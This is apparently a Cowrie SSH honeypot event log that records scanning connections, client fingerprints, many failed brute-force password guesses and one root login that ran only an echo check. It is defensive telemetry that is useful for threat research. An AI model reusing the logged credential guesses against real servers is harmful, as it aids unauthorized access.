{"eventid":"cowrie.login.failed","username":"reach","password":"12345678","message":"login attempt [reach/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:27:22.039957Z","src_ip":"159.223.94.92","session":"9729e30ccf1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:27:23.277641Z","src_ip":"159.223.94.92","session":"9729e30ccf1d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":42566,"dst_ip":"10.17.0.5","dst_port":22,"session":"71d00b18ac0d","protocol":"ssh","message":"New connection: 162.120.6.20:42566 (10.17.0.5:22) [session: 71d00b18ac0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:27:26.957690Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:27:27.027341Z","src_ip":"162.120.6.20","session":"71d00b18ac0d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":42570,"dst_ip":"10.17.0.5","dst_port":22,"session":"05de369e5a8f","protocol":"ssh","message":"New connection: 162.120.6.20:42570 (10.17.0.5:22) [session: 05de369e5a8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:27:27.099056Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:27:27.102248Z","src_ip":"162.120.6.20","session":"05de369e5a8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:27:27.172690Z","src_ip":"162.120.6.20","session":"05de369e5a8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"orange","password":"orange","message":"login attempt [orange/orange] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:27:27.386077Z","src_ip":"162.120.6.20","session":"05de369e5a8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:27:28.459051Z","src_ip":"162.120.6.20","session":"05de369e5a8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.119.7.6","src_port":57658,"dst_ip":"10.17.0.5","dst_port":22,"session":"0386d7f0a839","protocol":"ssh","message":"New connection: 27.119.7.6:57658 (10.17.0.5:22) [session: 0386d7f0a839]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:28:38.001115Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:28:38.006605Z","src_ip":"27.119.7.6","session":"0386d7f0a839","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:28:38.189616Z","src_ip":"27.119.7.6","session":"0386d7f0a839","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cent","password":"Cent123","message":"login attempt [cent/Cent123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:28:38.955362Z","src_ip":"27.119.7.6","session":"0386d7f0a839","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":50238,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab20cf245b5b","protocol":"ssh","message":"New connection: 2.57.121.25:50238 (10.17.0.5:22) [session: ab20cf245b5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:28:38.963307Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:28:38.967893Z","src_ip":"2.57.121.25","session":"ab20cf245b5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:28:39.067164Z","src_ip":"2.57.121.25","session":"ab20cf245b5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"03071991","message":"login attempt [user/03071991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:28:39.537522Z","src_ip":"2.57.121.25","session":"ab20cf245b5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:28:40.140651Z","src_ip":"27.119.7.6","session":"0386d7f0a839","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"03071978","message":"login attempt [user/03071978] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:28:40.638575Z","src_ip":"2.57.121.25","session":"ab20cf245b5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"03061983","message":"login attempt [user/03061983] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:28:41.739067Z","src_ip":"2.57.121.25","session":"ab20cf245b5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"03021988","message":"login attempt [user/03021988] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:28:42.840235Z","src_ip":"2.57.121.25","session":"ab20cf245b5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"03011988","message":"login attempt [user/03011988] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:28:43.941537Z","src_ip":"2.57.121.25","session":"ab20cf245b5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:28:45.042753Z","src_ip":"2.57.121.25","session":"ab20cf245b5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":42567,"dst_ip":"159.203.135.109","dst_port":22,"session":"0d979db74523","protocol":"ssh","message":"New connection: 2.57.121.25:42567 (159.203.135.109:22) [session: 0d979db74523]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:29:50.828453Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:29:50.833001Z","src_ip":"2.57.121.25","session":"0d979db74523","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:29:50.936768Z","src_ip":"2.57.121.25","session":"0d979db74523","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"03071991","message":"login attempt [user/03071991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:29:51.426384Z","src_ip":"2.57.121.25","session":"0d979db74523","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"03071978","message":"login attempt [user/03071978] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:29:52.532258Z","src_ip":"2.57.121.25","session":"0d979db74523","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"03061983","message":"login attempt [user/03061983] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:29:53.638050Z","src_ip":"2.57.121.25","session":"0d979db74523","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"03021988","message":"login attempt [user/03021988] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:29:54.743251Z","src_ip":"2.57.121.25","session":"0d979db74523","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"03011988","message":"login attempt [user/03011988] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:29:55.848454Z","src_ip":"2.57.121.25","session":"0d979db74523","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:29:56.955421Z","src_ip":"2.57.121.25","session":"0d979db74523","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":56100,"dst_ip":"159.203.135.109","dst_port":22,"session":"a30be930da45","protocol":"ssh","message":"New connection: 195.178.110.218:56100 (159.203.135.109:22) [session: a30be930da45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:30:04.493135Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:30:04.498417Z","src_ip":"195.178.110.218","session":"a30be930da45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:30:04.573936Z","src_ip":"195.178.110.218","session":"a30be930da45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:30:04.799401Z","src_ip":"195.178.110.218","session":"a30be930da45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:30:05.876913Z","src_ip":"195.178.110.218","session":"a30be930da45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.119.7.6","src_port":54786,"dst_ip":"10.17.0.5","dst_port":22,"session":"36adea113849","protocol":"ssh","message":"New connection: 27.119.7.6:54786 (10.17.0.5:22) [session: 36adea113849]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:30:35.701762Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:30:35.719018Z","src_ip":"27.119.7.6","session":"36adea113849","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:30:35.900785Z","src_ip":"27.119.7.6","session":"36adea113849","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hex","password":"hexpassword","message":"login attempt [hex/hexpassword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:30:36.696495Z","src_ip":"27.119.7.6","session":"36adea113849","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:30:37.894089Z","src_ip":"27.119.7.6","session":"36adea113849","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.128.112.74","src_port":42640,"dst_ip":"159.203.135.109","dst_port":22,"session":"e14d98446d98","protocol":"ssh","message":"New connection: 78.128.112.74:42640 (159.203.135.109:22) [session: e14d98446d98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:32:06.359506Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:32:06.614730Z","src_ip":"78.128.112.74","session":"e14d98446d98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:32:06.618497Z","src_ip":"78.128.112.74","session":"e14d98446d98","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"adminroot","message":"login attempt [root/adminroot] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:32:08.614770Z","src_ip":"78.128.112.74","session":"e14d98446d98","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:32:08.871631Z","src_ip":"78.128.112.74","session":"e14d98446d98","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo 'SSH check'","message":"CMD: echo 'SSH check'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:32:08.874543Z","src_ip":"78.128.112.74","session":"e14d98446d98","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/96611393ff07da35a9f4527854a26c75399b380988cf0bf2b91877a947bcbb4f","size":10,"shasum":"96611393ff07da35a9f4527854a26c75399b380988cf0bf2b91877a947bcbb4f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/96611393ff07da35a9f4527854a26c75399b380988cf0bf2b91877a947bcbb4f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:32:08.987989Z","src_ip":"78.128.112.74","session":"e14d98446d98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:32:09.327957Z","src_ip":"78.128.112.74","session":"e14d98446d98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.119.7.6","src_port":41062,"dst_ip":"10.17.0.5","dst_port":22,"session":"376e6eb184c3","protocol":"ssh","message":"New connection: 27.119.7.6:41062 (10.17.0.5:22) [session: 376e6eb184c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:32:34.662728Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:32:34.729640Z","src_ip":"27.119.7.6","session":"376e6eb184c3","protocol":"ssh"}
